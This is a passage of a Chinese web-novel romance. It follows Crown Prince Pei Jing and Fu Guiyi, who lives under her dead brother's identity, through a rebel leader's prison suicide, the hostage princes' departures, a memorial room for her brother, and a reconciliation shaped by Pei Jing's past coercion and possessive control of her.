“我预计十日左右就能处理掉大部分的事情,到时候你留下来扫尾,我先带她回去。”裴璟抚上自己的右颈,为了早日回宫,这几日起早贪黑的,都没有和傅归荑好好吃上一顿饭。 秦平归垂眸看向裴璟下衣摆,他没有立场去帮傅归荑,更不能指责裴璟。 “你今天到底怎么了?”裴璟觉得秦平归很奇怪,叫他半天也没吱声,眼神呆滞,双目无神。 “没事,”秦平归还是那两个字,他转移话题:“蒙穆想见傅归荑,你怎么看?” “他想见就见?”裴璟冷笑了声:“不准!” 过了好一会儿,裴璟又道:“今晚,我问问她的意思。” 秦平归耸耸肩。 裴璟晚上回来后敏锐地察觉到傅归荑心情不佳,找人问,知道是今天秦平归来找过她后才这样的。 他觉得今天一个两个的都很奇怪。 秦平归绝不是多管闲事的人,却三番五次接近傅归荑。 当然,他肯定对傅归荑没有存着其他心思,但仍然令裴璟不舒服,看来以后要限制他的出入。 还有傅归荑也很奇怪,她明明不是个轻易动怒的人,怎么会让秦平归三言两语弄生气。 裴璟把人提到自己怀里抱着,问她到底是怎么回事 傅归荑似笑非笑道:“我和蒙穆确实认识,在平溪猎场时我认出是他,所以才敢顶替你去。” 反正迟早都要被裴璟查出来,她干脆破罐子破摔自己先招了:“人也是我放走的。怎么,太子殿下现在是要亲自审我,还是叫毒蛇大人审我?” 裴璟失笑:“原来你是为这生气,我还以为是什么了不得的大事,让我们清心寡欲的傅世子动了怒?” 傅归荑直接问:“你想怎么样?” “我庆幸你与他认识。” 裴璟捏住傅归荑的下颌,眼神认真:“在我心里,没有什么比你的安危更重要。” 他的嗓音低沉有力,戳得傅归荑耳膜一颤一颤的。 她不自在别过脸,嘟囔道:“遇见你就是我最大的危险。” 裴璟哈哈大笑,头抵在傅归荑肩膀上,双肩抖动不止。 等他笑够了,告诉傅归荑蒙穆想见她一面的事。 “你自己决定。”裴璟摸摸她的头,面色柔和:“没有试探你的意思,他受了很重的伤,拒绝治疗。” 傅归荑眼皮下压,咬住下唇沉思半晌,点了点头。 她轻声问:“裴璟,你从没有怀疑过吗?” 傅归荑抬眼,澄澈透亮双眸直视眼前深不见底的黑瞳,语气慎重:“怀疑我会和蒙穆勾结,杀掉你,颠覆南陵?” 她这番堪称大逆不道的言论引得裴璟笑意更甚,他抬手掐了掐她的脸,“你是没睡醒么,怎么在说梦话?” 傅归荑冷漠地打掉他作乱的手。 眼看人又要被自己惹怒,裴璟见好就收,神情也变得郑重:“傅归荑,无论你信还是不信,我从未怀疑过你。” 傅归荑默然不语。 裴璟定定看着她,目光充满信任:“我了解你,你宁可死也不会与他同流合污。” 傅归荑冷哼:“我若真的悍不畏死,为何不与你同归于尽,还让你可劲磋磨我这么久。” 裴璟抚上她的脸颊,声音像飘在空中的柳絮般轻柔。 “你怕死,但是你心中有大义。”裴璟笃定道:“不会做违背底线的事情。” 傅归荑轻咬下唇,似乎对他的评价有些羞赧。 裴璟告诉傅归荑,那晚去抓捕蒙穆时,他想过如果蒙穆拿她的性命来要挟自己该怎么办。 “那你会用土地来换我吗?”傅归荑问他。 裴璟很肯定告诉傅归荑:“不会。” “每一寸土地,都是万千南陵人用命换来的,无论是谁都没有资格替他们让出去。” 傅归荑笑了,脸上没有任何伤心难过,亦或者愤怒恼恨。 “所以你会看他杀了我?” “当然不会,”裴璟一脸看傻子似的看向傅归荑:“我还有另一套计划,只不过稍微麻烦了些。” 当日他与秦平归最初制定的计划便是用自己来交换傅归荑,毕竟他对于北蛮人来说更有价值。 在确认傅归荑安全的瞬间,秦平归就会下令射杀蒙穆等人,而裴璟必须在箭羽中脱困。 为此他还特地穿上与傅归荑鲛绡内甲类似功能的护甲,只不过仍有受伤的风险。 只不过即便是有再大的风险裴璟也要做,他怎么可能眼睁睁看着傅归荑去死。 想到当日慌乱无措的心情,他紧紧抱住傅归荑:“况且若我真的用领土去交换你的命,你的余生不会安稳,那些英灵会让你日日夜夜活在痛苦中,备受煎熬。” 傅归荑心口翻涌起她难以平息的颤动。 裴璟说得没错。 她拼命要逃也正是因为害怕蒙穆会用自己要挟裴璟去换一些她无法承受的东西,即便知道裴璟不会轻易妥协,却也还是怕他做出糊涂事。 原来他比她想象中的,要了解她。 难怪能将她拿捏得死死的。 傅归荑失笑,输给裴璟她并不冤,无论是从心智,城府还是算计,她都差太多。 “所以,我庆幸你与他认识。” 裴璟凑到傅归荑的眼前,低头堵住她的双唇,牙齿厮磨着唇瓣缓解内心仍未散去的不安。 离那个惊险的夜晚已经过去三天,他还是忘不了当时的心情。 他从未这样害怕过。 裴璟知道傅归荑宁可自戕,也绝不让自己成为罪人,让所有人的努力都化为泡影。 她不愿拖累他人,更不想成为累赘。 裴璟怕的不是蒙穆。 他怕傅归荑。 * 府衙地牢,傅归荑带了一壶酒去见昔日友人。 蒙穆趴在简陋的草席上,头发散乱,身上到处都是裂开的伤口,草草用布条绑着。 听见响动,他一动不动,仿佛事不关己。 “蒙穆。”傅归荑叫他的名字。 蒙穆最初还以为是幻听,直到傅归荑再唤了声,他才如梦初醒般抬起头。 “阿宜,是你吗?”蒙穆胡乱地用手拨开眼前又脏又乱的头发,他看了眼面前的人,不敢相信地揉了揉眼睛,最后瞪大眼眶,喜不自胜道:“你还活着,你没事真是太好了!” 傅归荑心口微酸,她蹲下来,视线与蒙穆平齐,伸手想要去替蒙穆擦掉脸上的血渍,抓了个空。 “不用、不用……”蒙穆往后仰,极力躲开。 傅归荑收回手,静静看着蒙穆。 “阿宜,我被押送回来的一路看见了很多以前被忽略的东西……”蒙穆语气平稳,认真问她:“这就是你喜欢的世间吗?” 他被复国的仇恨蒙蔽双眼,心里只想着自己绝不会像当初的北蛮王一样暴虐,却从来没有注意过百姓脸上笑容。 真正让蒙穆清醒的,是途中遇到的一队土生土长北蛮人,他们瞧见自己第一句竟然是“又有一个闹事的北蛮人,真是不知好歹”。 蒙穆以为会从他们脸上看到对南陵的憎恨,亦或者是对同伴的物伤其类,然而他们一行人有说有笑离开了,谈论着明天要买回去给家人的礼物。 那一刻他觉得,自己的坚持毫无意义。 他想到了傅归宜说的话,时代已经改变了。 傅归荑露出个浅笑,“嗯,我很喜欢。” 蒙穆跟着笑:“那就好。” 傅归荑为他满上酒,蒙穆哈哈大笑接过,一饮而尽。 蒙穆没有再说话,傅归荑沉默地陪着他。 裴璟和秦平归在隔壁牢房,静静聆听里面的声音。 等了半天,只听见蒙穆大笑的声音。 两人对视一眼,均在对方眼里看见了同一个意思。 说什么这么好笑。 裴璟忍无可忍,人都进去一炷香,有什么说的也该说清楚了。 他眼神示意属下把傅归荑带出来。 “傅世子,您该喝药了。” 傅归荑明白是裴璟在催她,于是起身准备离开。 “阿宜,”蒙穆叫住了她,“你还会当我是朋友吗?” 傅归荑没有回头,她瞥见牢房角落露出了一片暗紫色的云纹下摆。 “只要你是哈穆,你就永远是傅归宜的朋友。” 衣摆开始晃动,这是裴璟不耐烦的信号。 傅归荑不再停留,转身离开。 蒙穆听着脚步声消失在通道尽头,眼睛看向傅归荑带来的酒壶。 他拿起来对准壶嘴大口吃下,边吃边笑。 “阿宜,这盛世如你所愿,甚好。” 说完,用力一摔,酒壶四分五裂。 当晚传来消息,蒙穆在地牢自杀,他的掌心刻了一个“哈”字。 次日清晨,傅归荑用完早膳后得知这个消息。 “知道了。” 她神色淡然地点点头,状若无事发生。 射箭时,她心不在焉的,脱了好几次靶。 不久后,坊间便有传闻。镇南王世子傅归宜以身诱敌,深入虎穴,最终剿灭北蛮余孽百人,活捉首领蒙穆,至此天下再无北蛮皇族人。 消息很快传到南陵京都,曾经对她获赠丹书铁券的大臣们再也没有多说一个字。 裴璟用最快的速度处理好抚城治水一事,忙得每日回来倒头就睡,别说与傅归荑亲近,他连清醒的她都见不到。 好在没有了北蛮人从中作梗,后续赈灾事宜进行得格外顺利。 离开那日,秦平归站在岸上送别二人。 等看不见船身踪迹,他冷着脸回到府衙,立刻写密信送到苍云九州的暗探处。 他要重新查一遍傅归荑的生平,说不得还要再亲自去一趟苍云九州。 秦平归半眯着眼,看向手里的弹弓,若有所思。 * 裴璟傅归荑一行人回去的时候也是水陆交替赶路,到京城时已接近霜降。 去时还是树木茂密的盛夏,回来已是百草凋零的深秋。 天气渐凉,空气里透着一股燥意。 傅归荑舔了舔微干的唇。 裴璟注意到她的小动作,从那天起,晚膳后都会有人送上一碗冰糖秋月梨。 傅归荑回宫后第一件事就是去找邓意。 他看见傅归荑时激动地从凳子上跳起来:“世子,你终于回来了。” 语气压不住的兴奋,又暗藏微微的哽咽。 傅归荑见到邓意也很高兴,她问:“你怎么样,有没有人为难你?” 邓意摇摇头,“一切都好,只是被困在里面没办法向外传信。” “那就好。”傅归荑上下扫视了好几遍眼前人,确认他没有受苦,反而胖了些才放下心。 “世子,”邓意疑惑地看着她:“你不问问找人的情况怎么样了吗?” 邓意从忠叔的口中已经得知一切,每隔七日的半日休沐,他都会出宫询问情况,有时候还帮着一起打探王沐然的下落。 傅归荑脸上的表情僵了一瞬,很快又恢复正常。 “怎么样了?”她故作着急问:“有消息吗?” 邓意皱着眉摇头,语气有说不出的挫败:“我们沿着你说的方向一路找都没看见,那个苍云九州的游医也不见踪影,还有赵大娘,他们一家好像都离开京城了。” 傅归荑看着邓意真心实意替他打算的面容,心里愧疚不已,她要怎么开口说出真相。 “你别气馁。”邓意察觉到傅归荑心情低落,连忙安慰她:“一定会找到的。” 傅归荑强行扯出个笑,点点头。 邓意看出她在强颜欢笑,恼恨自己为什么哪壶不开提哪壶。世子分明知道没有结果才不问他的,偏偏他嘴笨,非要戳她的伤心事。 一时间气氛有些凝重。 “阿宜,阿宜你回来了!” 门外传来乌拉尔的声音,他后面还跟着呜呜泱泱一群人。 傅归荑收拾好心情,面如常色的转过身。 “阿宜,听说你又立一件大功,真是给我们争脸。”他们都听说了傅归荑除掉北蛮余孽头领的事,都为她高兴。 这下再没有人敢说她的功劳配不上丹书铁券。 傅归荑面色淡淡,没有出口反驳。 她知道,蒙穆不想死在南陵人手里,也清楚是裴璟故意让人这样传出去的。 众人见她不卑不亢,不居功自傲的模样,更是心悦诚服。 “对了,我还要告诉你一个好消息。”乌拉尔笑得合不拢嘴,后面的世子们也个个喜笑颜开。 “什么事?”傅归荑被他们的显而易见的笑容引起了好奇心。 “托你的福,我们都通过《南陵律》了!” 傅归荑真心替他们高兴:“恭喜。” “还有几个人连《南陵六记》都过了,他们打算下个休沐日就去户部交换文书,准备回家。” 傅归荑弯了弯眼睛:“恭喜。” 那几个因傅归荑走捷径过的世子们相互对视了一眼,同时往前走一步,对着傅归荑扶手作揖道:“多谢傅世子慷慨,我等不胜感激。” “不用,”傅归荑虚虚扶了他们一把,“这也不全是我的功劳,《南陵六记》多而杂,你们想必也是费了一番功夫才通过的。” “傅世子谦虚了。若没有你的笔记,恐怕我们还要多呆上几个月。现在好了,今年能赶回去过个团圆年。” 傅归荑垂下眸,轻声祝愿:“一路平安。” “阿宜,你什么时候过啊。”乌拉尔大大咧咧问出来,在他眼里,傅归荑只不过是因为被各种事情耽搁才没有第一个通过的。 傅归荑抿了抿唇,难得开了个玩笑:“等你过了我再过吧,否则我怕我一走,你这辈子都要留在南陵。” 其他人哈哈大笑,弄得乌拉尔涨红了脸。 喜悦的氛围包裹着傅归荑,她也情不自禁跟着笑了起来。 “他们说晚上想请你喝酒,我看不如这样,咱们今晚上一同帮他们庆祝,不醉不归怎么样?” “好!我同意。” “同意。” 傅归荑盛情难却,寸步不离跟着她的小太监见状,立刻遣人去回秉太子殿下。 没过多久,东宫传来旨意,吩咐御膳房准备好酒菜,设宴摘星阁以示奖励。 还说自己有要事在身无法抽身前来,请傅世子代替他招待诸位。 这晚上没有裴璟,大家都喝得十分尽兴。 有好几个世子都抱着彼此痛哭流涕,他们原本大部分互相之间都不认识,最多只是听过对方的名号。 游牧部落四处为家,到处游走,特别是在北蛮强盛时期,被他们逼得恨不得一个月挪几次地方。 如今相聚在南陵,许多人都生出一见如故之感,再加上相处一年,或多或少都生出几分情谊。 藩王无诏不得随意出入封地。 今后一别,不知何日再见。 傅归荑被人轮流灌酒,她即便是千杯不醉也生出几分眩晕。 但她喝得高兴。 她不能回家,他们还可以。 裴璟亲自来接人的时候发现地上躺得横七竖八的,他都没有下脚的地方。 傅归荑坐在自己的位置上,旁边的乌拉尔睡在她的脚下。 裴璟直接拦腰抱起她。 失重感让傅归荑稍微清醒了下,她看清来人后微微皱了皱眉。 可惜她实在是喝得太多了,意识很快又陷入混沌。 裴璟将人带回东宫,又命令下人送这些醉死过去的世子回他们自己的屋子。 素霖递上一碗醒酒汤,裴璟一口一口喂她喝下去。 等到傅归荑意识渐渐回笼,她又被带入室内沐浴更衣。 出来的时候她整个人都清醒不少。 裴璟半靠在床头,手里拿着本书在看,见她出来后立刻招手。 “小心着凉。”他把人抱在怀里,替她暖脚,问道:“今天怎么喝了这么多?” 傅归荑靠在他的胸口,淡淡道:“高兴。” “他们通过考核,你高兴什么?” 傅归荑顿了下,没好气道:“就是高兴。” 裴璟轻笑着捏了捏她的手,“你是不是想家了?” 傅归荑四肢微僵,下一刻仰头看向裴璟,毫不掩饰道:“是啊,我想家了,你能让我回去吗?” 裴璟见她趾高气扬地斜睨看向自己,红唇微微嘟着,散发出令人炫目的酒香。 他的喉咙顿时干渴地颤了颤,俯下身凑到她嘴边恶劣笑道:“当然不。” 床帐翻滚间,傅归荑听见裴璟低哑的嗓音在她耳边呢喃。 “再等一等。” 作者有话说: 男主事业线(北蛮余孽)收尾,女主友情线(蒙穆,世子团)收尾【你现在阅读的是 】 60-70 第61章 起火 晋江文学城独家发布 下一个休沐日, 通过考核的世子们顺利从户部拿到交换文书。 离别当天,傅归荑站在皇宫城墙上看着队伍远行。 几位世子骑着马朝外走,其中某位世子心念一动, 回头想再看看南陵皇宫,他们大抵是这辈子再没这样的机会相聚一堂。 只见高处一人直立远眺, 他认出是傅归荑, 调转马头用力朝她挥手。 “傅世子, 后会有期!” 同行的人听见后纷纷效仿,他们的脸色洋溢的笑容, 即便隔着高耸的城墙,傅归荑也能看得清清楚楚。 她抬高手挥动回应,轻声道:“一路平安。” 傅归荑目送几人消失在宫门口, 转身下城门,裴璟等在最后一阶。 “你怎么来了?”傅归荑疑惑道, 一般这种时候他都在前朝处理政事。 “过来, 带你去看个东西。”裴璟上前一步拉住她的手。 什么东西这么重要,裴璟居然亲自前来。 傅归荑无法从裴璟喜怒不辨的脸上看出端倪, 由着他带自己朝前走。 站在东宫门口, 傅归荑心里的疑惑更重了。 裴璟脚步不停, 直接带她往西边走,之前她住的西厢房早已空置,一应物品都陆陆续续搬到裴璟的寝殿,她很久没有去那边。 刚走到院子拱门, 她往里一看,愣在原地:“这是……” 好熟悉的院子。 裴璟看她手足无措, 一脸茫然的样子, 眼里露出笑意, “进屋看看。” 傅归荑被推着进屋,好半天才慢慢回神。 屋内发生了天翻地覆的变化,不是堆满了奇珍异宝,也没有装饰得富丽奢华。 里面的家具摆件几乎都是竹子制成的,与苍云九州镇南王府里自己的房间相差无几。 她凭借自己的记忆一寸寸扫视过去,从眼前的竹桌竹椅,架子上摆放的竹雕,墙上挂的竹弓从小到大依次排列,那是按照她的身高体型父亲亲手制作的…… 傅归荑走到书桌前,上面放的书与自己家里桌上的顺序一模一样。 刹那间,她有种时空错乱之感,仿佛自己从未离开过苍云九州。 下一刻,傅归荑惊惶不安,裴璟不会把她房间里的东西偷偷搬过来了? 镇南王府没人发现吗? 裴璟哪能不知道她在想什么,揶揄她:“你瞧仔细,这里的东西都是崭新的。” 傅归荑翻开书册,里面果然空无一字,油墨味清新刺鼻。 她的心口莫名发热,转过身眼睫低垂着,不去看裴璟的脸,拼命压抑住颤声淡淡道:“你什么意思?” 为什么他要布置一间别无二致的房间放在东宫,难道以为这样就算是让她“回家”了? 太可笑了。 这里终究不是苍云九州,也不是镇南王府。 她傅归荑更不会自欺欺人。 裴璟眼神示意赵清拿东西过来。 傅归荑手上猝不及防被塞了个重物,是哥哥的骨灰。 “傅归荑,这间屋子不是给你的。”裴璟抬手抚上她的侧脸,轻声道:“是给屋子真正的主人。” 傅归荑双眸微怔,眼眶酸涩温热,眼神充满迷惑。 “傅归宜,你的哥哥,回家了。”裴璟目光柔和,声音醇厚:“但是你不愿意让其他人知道他的……离去。” 裴璟小心斟酌语句,缓声道:“这里是给他准备的‘家’,你可以常常过来找‘他’,跟他说说你以前的事。” “你们兄妹二人在一起,即是家。” 傅归荑眼里的泪毫无征兆地落在瓷罐上,双手颤动得几乎拿不住骨灰。 她终其一生,唯一所求。 仅是寻回哥哥,带他回家。 可她又不想告诉父亲母亲,哥哥他已经死了。 她希望在他们心里,哥哥永远好好活在某个不知名的角落。 * 因为早上要带傅归荑去西厢房,裴璟延后了几个重要议事,直到月上中天他才回到东宫。 星子低垂,月色渐微。 裴璟面无表情听着素霖回禀。 傅归荑在西厢房独自坐了一下午,晚膳时从屋里出来,她离开时两手空空。 听到这里,他默然闭上眼。 总算是成了。 裴璟在避暑山庄时发现,傅归荑对傅归宜存在一种近乎苛责的内疚。 她在怪自己无用。傅归宜救了她的命,却给她留下了很深的心理阴影,这种阴影最终形成执念,如同枷锁困住了傅归荑的心。 意识到这一点,裴璟暗恨自己为何做了个完全错误的决定。 他不应该制造“傅归宜”的死亡,这样不但不能让傅归荑遗忘他,亦或者减少傅归宜给她带来的影响,反而把人推向自责的深渊。 后来不是没想过再找个“傅归宜”让他活过来,裴璟自认为能圆过去认错王沐然的乌龙,可他不敢再冒险。 傅归荑的心已经脆弱得不能再在这件事上有丁点打击,他不敢小觑她的聪慧敏锐,何况那是她的亲哥哥。 若是她最后发现一切都是假的,裴璟不敢去赌傅归荑到底会做出什么事。 她表面看上去坚韧倔强,实则心思细腻敏感,这些年不知道自我折磨了多少次。 傅归宜是她的逆鳞。 裴璟虽然很不想承认这一点,但傅归宜在她心中确实独一无二。 不过他很快释然了。 无论傅归荑多么在乎他,他终究只是一个“死人”,自己何必去跟死人计较,庸人自扰。 他要做的不是跟死人争夺傅归荑谁更重要,而是如何利用这一点去攻破她的心防。 裴璟承认自己很贪心,他想要的不仅仅是傅归荑这个人,他还想要她的心。 因为他的自大,他走了此生最错的一步棋,亲手将她心上枷锁的钥匙折断,傅归荑被永远困在名为“傅归宜之死”的牢笼里。 他只能咽下这个苦果,再想办法让她挣脱桎梏。 西厢房的那间屋子,就是他为傅归荑准备的缓冲空间。 寝殿内,一片漆黑。 裴璟进来时听见空气里传来若有似无的低泣。 他关上门时用了巧劲,一声不大不小撞击声成功地打断了哭声。 走到床榻时,傅归荑背朝他蜷缩成一团,抗拒的意味明显。 裴璟小心翼翼掀开被褥,装作什么事情也不知道地躺在她身边,像往常一样用手揽住她的腰侧。 怀里的人身体猛然一颤,旋即变得僵硬,很快又逼自己放松下来。 裴璟一整晚都只是单纯地抱着傅归荑,无声地告诉她自己在身边。 第二日,傅归荑从早到晚都在西厢房里独自静坐。 第三日,第四日亦如此。 裴璟吩咐过,不得去打扰她。不仅如此,他还吩咐膳房一日三餐都依照苍云九州的样式送进去。 傅归荑垂眸看见桌上摆着的两副碗筷,两杯清酒,一桌子不重复的菜式轻声道:“哥哥,吃饭了。” 这样的日子一共持续了整整十日。 裴璟每夜拥她入睡,忍着什么也不做,什么也不问。 白日傅归荑在西厢房独自呆着,伺候她的人守在院子外,无令不得擅入。 这是裴璟头一次尝试给傅归荑完全的,私密的,不受他控制的空间。 无论她在里面做了什么,只要她不想说,他就不会知道。 裴璟希望她能充分的自我释放对傅归宜的愧疚与自责。 第十一日,傅归荑午时便从房间里走了出来,让人取来逐月弓。 那一整个下午,她虚无箭发。 当夜,裴璟回来的时候,傅归荑出乎意料地没有熄灯,而是沐浴更衣后靠在床头拿着本书在看。 听见响动,她放下书,冲裴璟说了句:“回来了?” 裴璟压抑住激动的心嗯了一声。 他沐浴洗漱的速度很快,没过多久上了榻。 傅归荑抿着唇,似乎在做什么艰难的决定,最终一咬牙一闭眼,主动贴上他的身,手往裴璟的前襟里探。 “你在干吗?”裴璟眼疾手快地捉住她的手腕,语气温柔。 傅归荑的手悬在空中,难堪地别过脸不说话,颤动不止的长睫出卖了她内心的慌乱无措。 “你不会想用这种方式来表示对我的感谢?” 傅归荑的呼吸变得急促,双唇绷成一根直线,默认他的说法。 裴璟没有生气,轻笑着将她扯进怀里,双臂绕过侧身紧紧环住她,下颌抵在她的头顶上。 “不需要,傅归荑。”裴璟蹭了蹭她的乌丝:“我做这些不需要你用自己来回报我,只愿你能放下过去,眼睛朝前看。” 裴璟的声音连着他的胸腔,沉稳有力地敲击在傅归荑的耳膜上。 “我没有放不下……” 裴璟:“好、好、你没有。我知道的,你聪慧过人,定能明白我的苦心。” 傅归荑骤然收声。 裴璟抱了一会儿,准备她塞进被褥里,临近冬日,空气愈发冷冽。 忽然,他发现自己的襟口微湿,还透着凉意。 裴璟愣住了,他没想到傅归荑会哭。 她生性隐忍,不会轻易在人前表露情绪,尤其是哭泣这种懦弱的行为,更不愿在他面前暴露。 除了在傅归宜死时她哭得不能自已,剩下的都是被他在床榻间逼出的泪光。 裴璟的手改为抚上她的后背,一下一下顺着她的微凸的脊骨,低声叹道:“他的死与你无关,当年是,如今亦是。” 裴璟告诉她,父亲曾派人向他打听过一个人,只不过当时他忙着北伐,只将此事交给下面的人留意。 但镇南王后面没再问,他也忘记了,现在回想起镇南王的描述,大概就是傅归宜。 “他们从没有怪过你,在你父亲母亲眼里,傅归宜和你都是他们独一无二的孩子,没有谁比谁更重要。” “偶尔听他提起过你,眼神和口吻都是骄傲,你从不是他们的累赘。” 话音落地,傅归荑身形微顿,而后全身颤抖得厉害,后背上下急剧起伏。 裴璟一会儿拍背,一会儿顺气,最后见她实在是抽搐得厉害,不得不强行把人挖出来。 傅归荑似乎觉得很丢脸,她用力挣扎着。 裴璟怕伤到人不敢使劲,只是将她的头抵在自己的肩膀上,从前往后拥住她,两人贴得密不透风。 傅归荑抬起手,又放下。 反复数次,最终缓缓放在裴璟的后肩上,慢慢收紧。 裴璟再也没有出声,默默借出自己的肩膀陪在她身边。 夜风沁骨,傅归荑全身颤得厉害。 这么多年来,懊悔自责始终如影随形地像个幽灵一样跟着她。 她没有一刻不后悔,为什么当时她要放手,为什么她不能健康一点,为什么 都怪她拖累了大家,哥哥本来可以活下来。 她从出生开始就是个累赘,拖累父母,拖累哥哥。无数次想过若是那个夜晚死的是自己,是不是所有人都可以解脱。 亦或者死在那个落水的冬夜,埋在若依河底,随着河水流淌滋润苍云九州大地上。 父母从未因哥哥的死责怪她,甚至连一句重话都不曾在她面前说过。可傅归荑宁愿他们打她,骂她,也不想看母亲独自垂泪,父亲掩面沉默,却在她面前强装无事发生。 她一直觉得父亲母亲是埋怨她的,尽管他们没有在她面前表露过。 随着时间流逝,他们逐渐释怀,而她始终无法原谅自己。 傅归荑哭累在裴璟怀里。 裴璟轻手轻脚放开她,把人平放在榻上,手指替她擦干残余的泪痕,拨开湿润的碎发。 他躺在傅归荑身侧,手握住她垂落的五指,逐渐扣紧。 接下来的一个月,傅归荑接连为十几名世子送行。 南陵初雪当日,她在西厢房坐了一整天,傍晚的时候她叫人送来笔墨。 第二日,她去找了邓意。 傅归荑艰难地开口:“阿意,我有话跟你说。” 邓意看见傅归荑刹那间红了眼框,心毫无征兆地痛了一下,面容凝重。 “阿意,哥哥死了。” 傅归荑本以为自己很难开口,但她听见自己的声音平缓,像在说一件再寻常不过的事。 “他得了急病,前段时间没的。我一直不知道怎么跟你们说,害你们辛苦了。” 邓意张开口又闭上,出声的第一句话是:“这样大的事情,你怎么不早告诉我。” 他站起来快步走到傅归荑身前,两只手握住她的肩头,颤抖不止。 “世子,你不该一个人扛着的。”邓意的目光里满是心疼。 “阿意,我没有哥哥了。”傅归荑的泪猝不及防落了下来,她低下头,眼前模糊,脚下晕开一拳洇湿。 邓意急急从怀里掏出帕子替她擦拭,“你还有王爷王妃,他们一定想你了,咱们马上启程回家,正好能赶上过年。” 傅归荑接过手帕擦掉泪痕,调整好呼吸后拿出一封信。 “这里面写了事前的原委,我要你亲自交到父亲母亲手里。” 邓意皱眉道:“那你呢,你不跟我们一起回去吗?” 傅归荑知道他会问,说出早就编好的理由:“我的身份一直是个隐晦,太子殿下承诺我,只要帮他训练好追云骑便赐予我丹书铁券,如今东西已经送回苍云九州,我不能食言。” 邓意立刻回:“我留在这里陪你。” 傅归荑摇头:“不,除了你,我谁也不放心。这封信,你一定要亲自带到,我会叫忠叔他们护送你回去。” 她的眼睛覆了一层水光,看过来时带着殷殷哀求,邓意很难拒绝。 “好吧,”他接过东西,“送到我马上赶回来。” 傅归荑点头。 他们回了苍云九州,无诏不能再出。 她一个人留在这里就够了。 傅归荑离开长定宫的时候,天降大雪。 她走到门口,停下脚步回头看了眼邓意,露出浅笑:“阿意,替我向父亲母亲问安,告诉他们我在南陵过得很好,不要担心。” 邓意说好。 他注视着傅归荑离去的背影,心里没有来闷得慌,不知道为什么他总觉得世子有什么地方变了。 她的笑也让他很难受,有种永别的错觉。 傅归荑小跑着出去,她怕自己忍不住再哭出来。 她真的非常讨厌离别。 一路疾行只顾脚下,没注意到头顶的雪断了。 傅归荑抬头看向来人,裴璟手撑着伞走在她右侧,他的侧脸在白雪的映衬下愈发鲜明凌厉,有种锋利之美。 “怎么不打伞?”裴璟瞥了她一眼,发现傅归荑只穿了外衫跑出来,随手解开自己的披风给她系上。 傅归荑替裴璟拿着伞,低声解释:“出来的时候天还是晴的。” 裴璟冷下脸:“这几日都有雪,没事还是少出门。” “知道了。” 裴璟一手撑伞,一手悄悄地伸进披风里握住傅归荑的手,两人漫步在鹅毛大雪中,天地间一片白茫茫,两人的脚印同步留在雪地上。 路过摘星楼时,裴璟停下来指了指高处,“去年我第一次见到你,就是站在那。” 他看着傅归荑茫然的眼神,压下伞,低头在她唇边轻啄了一下。 当时他还怀揣着要考察傅归荑的心,没想到被她的一笑夺了魂。 傅归荑的脸顿时涨红,恼羞成怒地大步往前走。 裴璟连忙去追,替她遮风挡雪。 * 最近的雪和雨连绵不断,入夜后阴冷湿寒。 屋子里没有烧地龙,地龙干燥,傅归荑每夜都会被渴醒。 但她不仅怕热,还畏寒,是以这段时间来裴璟欢喜又煎熬。 欢喜的是她会主动钻进自己怀里汲取暖意,煎熬的是他只能当个人形火炉。 软玉温香在怀,裴璟只能看不能动,更不能吃。 他知道傅归荑需要时间,他必须等她自己走出来,一等就等了近两个月。 裴璟觉得自己真是个活菩萨,生生忍得快得道成仙了。 某些夜晚,他几次徘徊在危险的边缘,心中对傅归荑的渴望难以自控,痛得他骨头都在疼。 然而每次在他伸手碰到她的脸时,又像触电般缩了回来,他不想她讨厌自己。 尽管傅归荑掩饰得很好,裴璟还是能从她偶尔泄露的眼神中察觉到若有似无的厌恶。 像一把钢刀,每一次都能将他的心活活刮下一块肉,鲜血淋漓的。 从前她躲避害怕他,恨不得离他百丈远,后来她被他强迫后变得隐忍不发,她知道自己没办法反抗,只能妥协,但却从心底里排斥他。 这个认知让裴璟几欲发狂,他陷入了一种慌乱无措的困境,他根本不敢让她离开自己的掌控。 他清楚只要有机会,傅归荑一定会想方设法离开她。 意识到这一点后,裴璟不断地通过索取她的身体来安抚自己烦躁不安的心,但无异于饮鸩止渴。 这样的方式并没能让傅归荑的心属于他,顶多只是他越来越熟知她身体的每一处,迫使她越来越快沉溺在自己给予的欢愉中,等她清醒后,她依旧将他拒之千里。 好不容易,他抓住了那么一点点机会让她卸下心墙。 裴璟不愿意前功尽弃,他想走近她心里。 此时,他不求取代傅归宜,而是要成为傅归荑新的倚靠。 所以,无论从精神上,还是从身体上,他都不能强迫她一点点。 裴璟唯一能做的就是等,等傅归荑主动。 冬日贪睡,裴璟改了南陵的上朝制度,朝会过了午时再开。 人只有吃饱穿暖,睡好才会心情好,心情好才不会敷衍了事,一味的压榨只会适得其反。 但他不是个贪睡的,每日天不亮去晨练,然后到书房处理昨日拿捏不定的政务。 这日他照常在卯时醒来,外面天还是黑的,轻柔地将压在傅归荑身上的手抬起,准备起身锻炼。 一只脚刚下榻,身后有一只手拉住了他的衣角。 “怎么不多睡会?”裴璟刻意压低声,怕吵到傅归荑。 傅归荑迷迷糊糊道:“我冷。” 裴璟下一瞬立刻返回被衾,抱住她替她暖手暖脚。 傅归荑的额头往他胸口钻,动来动去,弄得衣襟大敞,露出光洁的胸膛。 裴璟心口的火腾地一下燃遍全身,手拍了下她的腰,咬牙切齿道:“老实点,要睡就快睡。” 傅归荑置若罔闻,手也开始往他胸口贴。 裴璟身体紧绷像块火热的烙铁,心道自己是做了什么孽,一早上就要承受这种痛苦,本来早上锻炼就是为了泄当晚积攒的暗火。 “你不想要吗?”细弱蚊蝇的声音从胸口传来。 裴璟甚至觉得自己幻听了。 傅归荑等了半天,这已经是她能做的最大主动,结果裴璟完全没有往日的急切,反倒是像个木头似的不为所动。 她全身腾起羞赧的热意,未料到是这种结果,她恼恨地下定决心再也不做这种事。 傅归荑转过身想假装无事发生,裴璟忍无可忍地翻身压了上来。 “这次是你主动的,可不要怪我。” 结束后很长一段时间,裴璟都没能从方才的鱼水之欢中缓过来,他看着旁边累晕过去的人,心里生出一种名为感动的情绪。 不是他的错觉,傅归荑在试着主动靠近他。 比身体上更令人欲罢不能的滋味是心灵的冲击,这是他从未有过的美妙感觉。 傅归荑柔顺地迎合,让裴璟的灵魂都在激动地战栗,他觉得自己差点要疯掉,还想拉着她一起共沉沦。 然而事实是他小心控制住自己,一点一点地挤进她心墙上百年难得一遇的缝隙。 傅归荑看似及其微弱的往前一小步,已经让裴璟几近癫狂。 多日的隐忍在此刻终于尝到了最甜美的果实。 裴璟侧头凑到她濡湿的唇瓣前,轻轻吻了下去,像对待最珍贵最易碎的琉璃。 